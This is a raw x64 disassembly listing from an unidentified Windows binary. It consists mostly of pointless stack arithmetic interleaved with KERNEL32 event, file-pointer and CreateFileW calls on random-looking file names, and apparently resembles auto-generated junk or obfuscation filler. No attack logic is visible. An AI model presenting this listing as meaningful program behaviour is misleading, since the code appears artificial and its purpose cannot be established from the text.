movzx eax, word [rsp + 0x254]
mov rcx, qword [rsp + 0x1358]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x730], ax
mov rax, qword [rsp + 0x1148]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdb0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x898], ax
mov rcx, qword [rsp + 0x1330]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x67c], eax
mov rax, qword [rsp + 0x2b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x328]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcb0]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x74]
movsx ecx, byte [rsp + 0x50]
add eax, ecx
mov byte [rsp + 0x119], al
mov rax, qword [rsp + 0x988]
mov eax, dword [rax]
mov dword [rsp + 0x900], eax
mov rax, qword [rsp + 0xc68]
mov rcx, qword [rsp + 0x1078]
mov qword [rsp + 0x47c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x47c8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x1408], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x2b02
mov rcx, qword [rsp + 0x3640]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x112c], eax
mov rax, qword [rsp + 0x1438]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xae0]
sub eax, ecx
mov word [rsp + 0x3ac], ax
mov rax, qword [0x1400fd2a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xf80]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x93c], ax
mov rax, qword [rsp + 0xd08]
mov rcx, qword [rsp + 0x1760]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [0x1400fd2e0]
mov qword [rcx], rax
movzx eax, word [0x1400fd31c]
movzx ecx, word [rsp + 0xd4]
add eax, ecx
mov word [rsp + 0x41c], ax
mov rcx, qword [rsp + 0x1b90]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1a8c], eax
mov rax, qword [rsp + 0xcb0]
mov rax, qword [rax]
mov qword [rsp + 0x2880], rax
mov rax, qword [rsp + 0xb20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2b58]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xfa8]
mov qword [rcx], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x85b0
mov rcx, qword [rsp + 0x2390]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x13e0], eax
lea rax, [0x1400fd214]
mov qword [rsp + 0x18f8], rax
mov rax, qword [rsp + 0x1220]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x1300]
shr rax, cl
mov rcx, qword [rsp + 0x628]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd40]
mov eax, dword [rax]
mov dword [rsp + 0x34f0], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x2e00], rax
mov rax, qword [rsp + 0x1520]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x91]
and eax, ecx
mov byte [rsp + 0x15a], al
movsx eax, byte [rsp + 0x57b]
mov rcx, qword [rsp + 0x2fd8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x11a], al
movsx eax, word [rsp + 0xd0]
mov rcx, qword [rsp + 0x190]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1400fd440], ax
mov rax, qword [rsp + 0x1230]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1328]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x6ec], ax
mov rax, qword [rsp + 0xda8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a4]
add eax, ecx
mov word [rsp + 0x5ec], ax
mov rax, qword [0x1400fd340]
movzx eax, word [rax]
mov word [rsp + 0x4a0], ax
mov rax, qword [rsp + 0x2cb0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2990]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1c1], al
mov rax, qword [rsp + 0x1788]
mov rcx, qword [rsp + 0x1498]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xb98], eax
mov rax, qword [rsp + 0x470]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x1400fd148]
shr rax, cl
mov qword [rsp + 0x3180], rax
movsx eax, word [rsp + 0x30c]
mov rcx, qword [rsp + 0x1420]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x270], ax
movzx eax, word [rsp + 0x4a0]
mov word [rsp + 0x850], ax
mov eax, 0x38
imul rax, rax, 2
mov dword [rsp + rax + 0x5b64], 0x1c2db53a
lea rax, [0x1400fc3e8]
mov qword [0x1400fd460], rax
mov rax, qword [rsp + 0x1c88]
mov rcx, qword [rsp + 0x1a08]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x980]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9c0]
mov rcx, qword [rsp + 0x18f0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3140], rax
mov rax, qword [0x1400fd370]
mov rcx, qword [rsp + 0xb20]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2580], rax
movzx eax, word [rsp + 0x1dc]
movzx ecx, word [rsp + 0x148]
sub eax, ecx
mov rcx, qword [rsp + 0x650]
mov word [rcx], ax
mov rax, qword [rsp + 0x1c08]
mov eax, dword [rax]
mov dword [rsp + 0x2820], eax
mov rax, qword [rsp + 0x668]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x800]
movzx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x2e8]
mov byte [rcx], al
lea rax, [rsp + 0x154]
mov qword [rsp + 0x1c38], rax
mov rax, qword [0x1400fc390]
movzx ecx, al
mov rax, qword [rsp + 0x3068]
shr rax, cl
mov qword [rsp + 0x24d0], rax
mov rax, qword [rsp + 0x1080]
mov ecx, dword [rsp + 0xb9c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [0x1400fd2c8]
mov dword [rcx], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x2b89
mov rcx, qword [rsp + 0x1e40]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcfc], eax
movsx eax, word [rsp + 0x410]
mov rcx, qword [rsp + 0x9d0]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x1798]
mov word [rcx], ax
movzx eax, word [0x1400fd440]
mov word [rsp + 0x6bc], ax
mov rax, qword [rsp + 0xd10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x39c]
xor eax, ecx
mov rcx, qword [rsp + 0x1a20]
mov word [rcx], ax
mov rax, qword [rsp + 0xc58]
mov rcx, qword [rsp + 0x1928]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2890], rax
mov rcx, qword [rsp + 0x1910]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1390], eax
mov rax, qword [rsp + 0x500]
mov rcx, qword [rsp + 0x1418]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x19a0], rax
mov rax, qword [rsp + 0x960]
mov eax, dword [rax]
add eax, dword [rsp + 0x9f8]
mov dword [rsp + 0x798], eax
movzx eax, byte [0x1400fd133]
mov byte [rsp + 0x915], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.SuWkBZkTid7uh
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3278], rax
mov rcx, qword [rsp + 0x1e68]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x8f4], eax
mov rax, qword [rsp + 0xfa0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x110]
sar eax, cl
mov word [rsp + 0x6e0], ax
mov rax, qword [rsp + 0xb30]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5ec]
add eax, ecx
mov word [0x1400fc468], ax
mov rax, qword [rsp + 0x980]
mov rcx, qword [rsp + 0xa30]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3080], rax
movzx eax, word [rsp + 0x4e4]
mov rcx, qword [rsp + 0xda8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x418], ax
movzx eax, byte [rsp + 0xe5]
mov rcx, qword [rsp + 0x800]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x820]
mov byte [rcx], al
lea rax, [rsp + 0x480]
mov qword [rsp + 0x3d88], rax
mov rax, qword [rsp + 0xa48]
mov ecx, dword [rsp + 0xc8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x10e8], eax
mov rax, qword [rsp + 0x1bc8]
movzx eax, byte [rax]
mov byte [rsp + 0x22d], al
mov rax, qword [0x1400fd380]
mov rcx, qword [rsp + 0x2328]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x1500]
mov qword [rcx], rax
mov rax, qword [rsp + 0x1190]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1230]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x414], ax
lea rax, [rsp + 0x93c]
mov qword [0x1400fd468], rax
lea rax, [rsp + 0x12a8]
mov qword [rsp + 0x1238], rax
mov rax, qword [rsp + 0x1bf8]
mov rcx, qword [rsp + 0x780]
mov qword [rsp + 0x47d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x47d0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xb70], rax
lea rax, [rsp + 0x4d0]
mov qword [rsp + 0x1c90], rax
movzx eax, word [rsp + 0x8c]
mov rcx, qword [rsp + 0x1318]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x5e4], ax
mov rax, qword [rsp + 0x188]
mov rax, qword [rax]
mov qword [rsp + 0x3d58], rax
mov rax, qword [rsp + 0x18f8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xb8c]
shr eax, cl
mov dword [rsp + 0x9f4], eax
mov rax, qword [0x1400fd330]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x80]
add eax, ecx
mov byte [rsp + 0x135], al
mov rax, qword [rsp + 0x18d0]
mov rcx, qword [rsp + 0x120]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x25f8], rax
mov rax, qword [rsp + 0xa78]
movsx eax, word [rax]
movsx ecx, word [0x1400fd2c0]
sub eax, ecx
mov word [0x1400fc420], ax
movzx eax, word [rsp + reloc.SHELL32.dll_SHChangeNotification_Lock]
movzx ecx, word [rsp + 0xb08]
and eax, ecx
mov rcx, qword [rsp + 0x2a0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1be]
mov byte [rsp + 0x57c], al
mov rax, qword [0x1400fd138]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1058]
mov qword [rsp + 0x47d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x47d8]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xd40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x16f8]
mov rax, qword [rax]
add rax, qword [rsp + 0x16a8]
mov qword [rsp + 0xa18], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xca3b
mov rcx, qword [rsp + 0x2840]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x260], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x2a48], rax
lea rax, [rsp + 0x1bb]
mov qword [rsp + 0x2b78], rax
mov rax, qword [rsp + 0x960]
mov ecx, dword [rsp + 0x8d4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x568], eax
lea rax, [rsp + 0x17c8]
mov qword [rsp + 0x2588], rax
mov rax, qword [rsp + 0x180]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x140]
and eax, ecx
mov word [rsp + 0x43c], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x6b0d
mov rcx, qword [rsp + 0x1820]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x167c], eax
mov rcx, qword [rsp + 0x2618]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.bNRfqXD1o5C
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x2b90], rax
lea rax, [rsp + 0x144]
mov qword [0x1400fd470], rax
mov rcx, qword [rsp + 0x810]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x690], eax
mov rax, qword [rsp + 0x1060]
movzx ecx, al
mov rax, qword [rsp + 0x10b8]
shl rax, cl
mov qword [rsp + 0x1c50], rax
lea rax, [rsp + 0x418]
mov qword [rsp + 0x16b8], rax
mov rax, qword [rsp + 0x1a10]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14e0]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x190]
mov word [rcx], ax
lea rax, [rsp + 0x16f0]
mov qword [rsp + 0x1268], rax
mov eax, dword [rsp + 0x670]
mov ecx, dword [rsp + 0x574]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xc4], eax
movsx eax, byte [rsp + 0xf6]
movsx ecx, byte [str._aMl]
sar eax, cl
mov byte [rsp + 0x2e0], al
lea rax, [rsp + 0x1eb8]
mov qword [rsp + 0x2300], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xda6d
mov rcx, qword [rsp + 0x2338]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1ab0], eax
movzx eax, word [rsp + 0x40c]
mov rcx, qword [rsp + 0xa98]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3a4], ax
mov rax, qword [rsp + 0x2628]
mov rcx, qword [rsp + 0xb68]
sub rcx, rax
mov rax, rcx
mov rcx, qword [0x1400fd2b0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x57c]
mov rcx, qword [rsp + 0x1c78]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x156], al
mov eax, dword [rsp + 0xad8]
mov ecx, dword [rsp + 0x1988]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1c28]
mov dword [rcx], eax
movzx eax, word [rsp + 0x3ac]
mov word [rsp + 0x4c4], ax
movzx eax, word [rsp + 0x128]
movzx ecx, word [rsp + 0x380]
add eax, ecx
mov word [rsp + 0x884], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x3d70], rax
movsx eax, byte [rsp + 0x9c]
movsx ecx, byte [rsp + 0x10b]
sar eax, cl
mov rcx, qword [rsp + 0xfd8]
mov byte [rcx], al
mov r9d, 2
xor r8d, r8d
mov edx, 0x5b4b
mov rcx, qword [rsp + 0x2340]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcb8], eax
mov rax, qword [rsp + 0x1208]
mov qword [rsp + 0x1e50], rax
mov rcx, qword [rsp + 0x1c70]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x7f0]
mov ecx, dword [rsp + 0x640]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x1ba0]
mov dword [rcx], eax
movsx eax, word [rsp + 0xd0]
movsx ecx, word [0x1400fc3b8]
and eax, ecx
mov word [rsp + 0x454], ax
movzx eax, word [rsp + 0x2d8]
movzx ecx, word [rsp + 0x498]
and eax, ecx
mov word [0x1400fc410], ax
mov rax, qword [0x1400fd2b0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x1298]
shl rax, cl
mov rcx, qword [rsp + 0x7c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1700]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xb70], rax
lea rax, [rsp + 0x16c8]
mov qword [rsp + 0x3040], rax
mov rax, qword [rsp + 0xc80]
movsx eax, word [rax]
mov rcx, qword [0x1400fd3f8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x4c4], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x2389
mov rcx, qword [rsp + 0x2340]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xdf8], eax
movzx eax, byte [rsp + 0x1c1]
mov byte [rsp + 0x22f], al
mov eax, dword [rsp + 0x510]
mov rcx, qword [rsp + 0x1788]
mov qword [rsp + 0x47e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x47e0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x79c], eax
mov rax, qword [rsp + 0x1018]
mov rcx, qword [rsp + 0x1220]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x990], rax
mov rax, qword [rsp + 0x830]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x91]
add eax, ecx
mov byte [rsp + 0x609], al
mov rax, qword [rsp + 0x14d8]
mov ecx, dword [rsp + 0x1970]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8e4], eax
movzx eax, word [0x1400fc448]
mov word [0x1400fd478], ax
mov rax, qword [rsp + 0xb60]
movzx eax, word [rax]
mov word [rsp + 0x428], ax
mov rax, qword [rsp + 0xa50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4dc]
add eax, ecx
mov rcx, qword [rsp + 0xc88]
mov word [rcx], ax
lea rax, [rsp + 0x9b8]
mov qword [rsp + 0x1ba8], rax
mov rax, qword [rsp + 0x7b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2990]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x11d], al
mov rax, qword [rsp + 0xd58]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xe20]
shr eax, cl
mov rcx, qword [rsp + 0x750]
mov dword [rcx], eax
mov rax, qword [rsp + 0x338]
mov qword [rsp + 0x2a10], rax
mov rcx, qword [rsp + 0x810]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, word [rsp + 0x5e0]
mov rcx, qword [rsp + 0xfa0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x4fc], ax
mov rax, qword [rsp + 0x14b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x6b8]
sub eax, ecx
mov word [rsp + 0x58c], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x207f
mov rcx, qword [rsp + 0x1820]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x488], eax
mov rax, qword [rsp + 0x200]
mov rcx, qword [rsp + 0xf88]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [0x1400fd1a8]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x1248]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0x438]
mov rcx, qword [rsp + 0x2a0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x48c], ax
mov rax, qword [rsp + 0x1718]
mov rcx, qword [rsp + 0x29a8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x1060], rax
mov rax, qword [rsp + 0xa70]
mov qword [rsp + 0x1f50], rax
mov rax, qword [rsp + 0x298]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xfd8]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x2b78]
mov byte [rcx], al
mov rax, qword [rsp + 0x17e0]
mov eax, dword [rax]
add eax, dword [rsp + 0xbb8]
mov dword [rsp + 0xbbc], eax
mov rax, qword [rsp + 0xd40]
mov rcx, qword [rsp + 0xc50]
mov eax, dword [rax]
imul eax, dword [rcx]
mov rcx, qword [rsp + 0x1948]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd20]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x358]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x830]
mov byte [rcx], al
mov rax, qword [rsp + 0x7c0]
mov qword [rsp + 0x29e8], rax
mov rax, qword [rsp + 0xf90]
movzx eax, word [rax]
mov word [0x1400fd47c], ax
mov rax, qword [rsp + 0x1958]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x444]
sub eax, ecx
mov rcx, qword [rsp + 0xfa0]
mov word [rcx], ax
movzx eax, word [0x1400fd3d0]
mov rcx, qword [rsp + 0x1358]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x378], ax
movzx eax, word [rsp + 0x864]
mov rcx, qword [rsp + 0xa50]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x298]
movsx eax, byte [rax]
movsx ecx, byte [0x1400fd132]
sub eax, ecx
mov byte [rsp + 0x13b], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.tLfed5XAqdQB6y7YkfCqxf
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x38b8], rax
mov rax, qword [rsp + 0x628]
mov rax, qword [rax]
mov qword [rsp + 0x3e50], rax
mov rax, qword [rsp + 0xd58]
mov eax, dword [rax]
add eax, dword [rsp + 0xac4]
mov dword [rsp + 0x798], eax
lea rax, [rsp + 0x54]
mov qword [rsp + 0x1178], rax
mov rax, qword [0x1400fd418]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c4]
sar eax, cl
mov word [rsp + 0x3b8], ax
mov rax, qword [rsp + 0x1700]
mov rcx, qword [rsp + 0x3660]
xor rcx, rax
mov rax, rcx
mov qword [0x1400fc3e8], rax
mov rax, qword [rsp + 0x1790]
mov qword [rsp + 0x3f88], rax
mov rax, qword [rsp + 0x790]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1020]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x1528], rax
mov rcx, qword [rsp + 0x1290]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x1e88]
mov rcx, qword [rsp + 0xb50]
mov qword [rsp + 0x47e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x47e8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xcb0]
mov qword [rcx], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x4019
mov rcx, qword [rsp + 0x38b8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x11a8], eax
lea rax, [rsp + 0x1a4]
mov qword [rsp + 0x25d0], rax
mov rax, qword [rsp + 0x2f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x10d]
add eax, ecx
mov rcx, qword [rsp + 0xd98]
mov byte [rcx], al
mov eax, dword [rsp + 0x9a8]
mov ecx, dword [rsp + 0x139c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2184], eax
mov rax, qword [rsp + 0x1f68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x9c]
and eax, ecx
mov rcx, qword [rsp + 0x17b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x1220]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x11c8]
mov qword [rsp + 0x47f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x47f0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x1a8], rax
mov rax, qword [0x1400fd1f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x900]
add ecx, eax
mov eax, ecx
mov dword [0x1400fc46c], eax
mov rax, qword [rsp + 0x1cc0]
movzx eax, word [rax]
mov word [rsp + 0x5a8], ax
mov rax, qword [rsp + 0x788]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1798]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9d0]
mov word [rcx], ax
movzx eax, word [rsp + 0x898]
movzx ecx, word [rsp + 0x2d8]
and eax, ecx
mov word [rsp + 0xe68], ax
mov rax, qword [rsp + 0xca0]
mov rcx, qword [rsp + 0x1b18]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x1808], rax
movsx eax, byte [rsp + 0x3fb]
movsx ecx, byte [0x1400fc381]
sub eax, ecx
mov rcx, qword [rsp + 0x1410]
mov byte [rcx], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x3d68], rax
lea rax, [rsp + 0x138c]
mov qword [rsp + 0x17a8], rax
mov rax, qword [rsp + 0xf30]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd18]
shr rax, cl
mov rcx, qword [rsp + 0x14b8]
mov qword [rcx], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xbce1
mov rcx, qword [rsp + 0x2928]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1a34], eax
lea rax, [rsp + 0x224]
mov qword [rsp + 0x2398], rax
movzx eax, word [0x1400fc3d0]
mov rcx, qword [rsp + 0xa50]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1400fd450], ax
mov rax, qword [rsp + 0x12b0]
mov rcx, qword [rsp + 0x2a08]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x1518], rax
movzx eax, word [rsp + 0x37c]
mov word [rsp + 0x1554], ax
mov rax, qword [rsp + 0x2f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x108]
xor eax, ecx
mov byte [rsp + 0x51], al
mov rcx, qword [rsp + 0x28b0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0xad4]
mov ecx, dword [rsp + 0x27dc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9f0], eax
mov eax, dword [rsp + 0x630]
mov dword [rsp + 0x11bc], eax
movsx eax, byte [rsp + 0xcc]
movsx ecx, byte [rsp + 0x9c]
add eax, ecx
mov rcx, qword [rsp + 0x1c38]
mov byte [rcx], al
mov rax, qword [rsp + 0x1500]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x11c8]
add rax, qword [rcx]
mov qword [rsp + 0x3730], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xada5
mov rcx, qword [rsp + 0x1bd8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xbd4], eax
mov rax, qword [0x1400fd2f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1190]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x258], ax
mov rcx, qword [rsp + 0x1c70]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xad0], eax
lea rax, [rsp + 0x6f0]
mov qword [0x1400fd480], rax
mov rax, qword [rsp + 0x1060]
mov rcx, qword [rsp + 0x7d8]
mov qword [rsp + 0x47f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x47f8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x1738]
mov qword [rcx], rax
mov rax, qword [0x1400fd370]
mov rax, qword [rax]
mov qword [rsp + 0x3da8], rax
mov rax, qword [rsp + 0x1190]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1068]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x168], ax
lea rax, [rsp + 0x374]
mov qword [rsp + 0x24e0], rax
movsx eax, byte [rsp + 0x13a]
mov rcx, qword [0x1400fd238]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x1340]
mov byte [rcx], al
mov rax, qword [rsp + 0x19b8]
mov rcx, qword [rsp + 0x24d0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xd18], rax
mov eax, dword [rsp + 0x798]
mov ecx, dword [rsp + 0x514]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x10d4], eax
mov rax, qword [rsp + 0xb20]
mov rcx, qword [rsp + 0xa30]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x748]
mov qword [rcx], rax
mov rax, qword [rsp + 0x788]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1010]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1400fd210], ax
mov rax, qword [rsp + 0x16a0]
movzx eax, word [rax]
mov word [rsp + 0x710], ax
mov rax, qword [rsp + 0x1930]
mov rcx, qword [rsp + 0x1c08]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x11a0], eax
movzx eax, byte [rsp + 0xf5]
mov rcx, qword [rsp + 0xf48]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x1090]
mov byte [rcx], al
mov rax, qword [0x1400fc458]
mov qword [rsp + 0x3760], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xe446
mov rcx, qword [rsp + 0x1b98]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1a34], eax
